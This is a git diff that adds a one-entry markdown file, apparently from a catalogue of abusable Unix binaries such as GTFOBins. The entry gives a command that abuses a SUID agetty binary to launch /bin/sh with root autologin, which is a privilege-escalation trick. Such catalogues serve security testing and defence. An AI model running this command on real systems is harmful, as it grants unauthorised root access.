diff --git a/agetty.md b/agetty.md
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index 0000000..03a3b94
--- /dev/null
+++ b/agetty.md
@@ -0,0 +1,5 @@
+---
+functions:
+  suid:
+    - code: ./agetty -o -p -l /bin/sh -a root tty
+---